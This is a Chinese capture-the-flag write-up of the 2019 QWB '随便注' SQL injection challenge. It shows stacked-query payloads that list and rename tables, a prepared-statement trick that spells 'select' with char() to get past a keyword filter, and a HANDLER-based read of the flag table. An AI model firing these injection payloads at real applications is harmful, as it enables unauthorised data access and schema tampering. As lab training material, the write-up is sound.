[强网杯 2019]随便注

目录

信息收集

方法一:堆叠注入

方法二:MySQL预处理

语法

payload

方法三:handler

知识点

语法 

payload


信息收集

1' 

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

说明是单引号闭合

1' or 1=1;#

存在sql注入漏洞

1' order by 3;# 
Unknown column '3' in 'order clause'

说明只有两列

-1' union select 1,database() #
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

回显为过滤规则

因为这里select被禁用,考虑使用堆叠注入 

方法一:堆叠注入

  • 数据库名

1';show databases;#

[强网杯 2019]随便注_第1张图片

  • 获取表名

1'; show tables;#

[强网杯 2019]随便注_第2张图片

  • 获取列名

1'; show columns from words;#
1'; show columns from `1919810931114514`;#

1919810931114514必须用反单引号括起来,不然出错

这里来说明一下原因:

在mysql中查询纯数字和关键字的列名、表名时必须加``

提示大家做列名和表名的时候不能用mysql中的关键字。

[强网杯 2019]随便注_第3张图片

 [强网杯 2019]随便注_第4张图片

words表里有两个属性:id 和data
而1919810931114514表里只有一个属性
后台sql语句可能为 select * from words where id=$inject

注入1' or 1=1;#后sql语句变为

select * from words where id=‘    1’ or 1=1 #     ’

[强网杯 2019]随便注_第5张图片

  • 修改名称
1';rename table words to myword;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

[强网杯 2019]随便注_第6张图片

看了大佬写的wp,发现还有很多姿势可以更快拿到flag,简单记录下大佬的思路

方法二:MySQL预处理

语法

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
  • 准备预处理语句
prepare sql_1 from "select * from pdo";
execute sql_1;
drop prepare sql_1;
  • 定义参数变量
set @id=2;
execute sql_2 using @id;   --选出id=2的信息
  • 综合案例
prepare sql_2 from "select * from coleak where id > ? && age > ?";
set @id=2;
set @age=30;
execute sql_2 using @id,@age;
concat(),函数用于字符串拼接。
char(),将ASCII码转换为对应的字符。

payload

1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;

[强网杯 2019]随便注_第7张图片

因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
然后用concat()拼接成一句完整的sql语句。           
先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。

方法三:handler

知识点

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法 

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。

HANDLER tbl_name READ index_name = value指定从哪一行开始,通过NEXT继续浏览。

payload

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#[强网杯 2019]随便注_第8张图片

你可能感兴趣的:(web安全,mysql,数据库,sql,网络安全,web安全,mysql)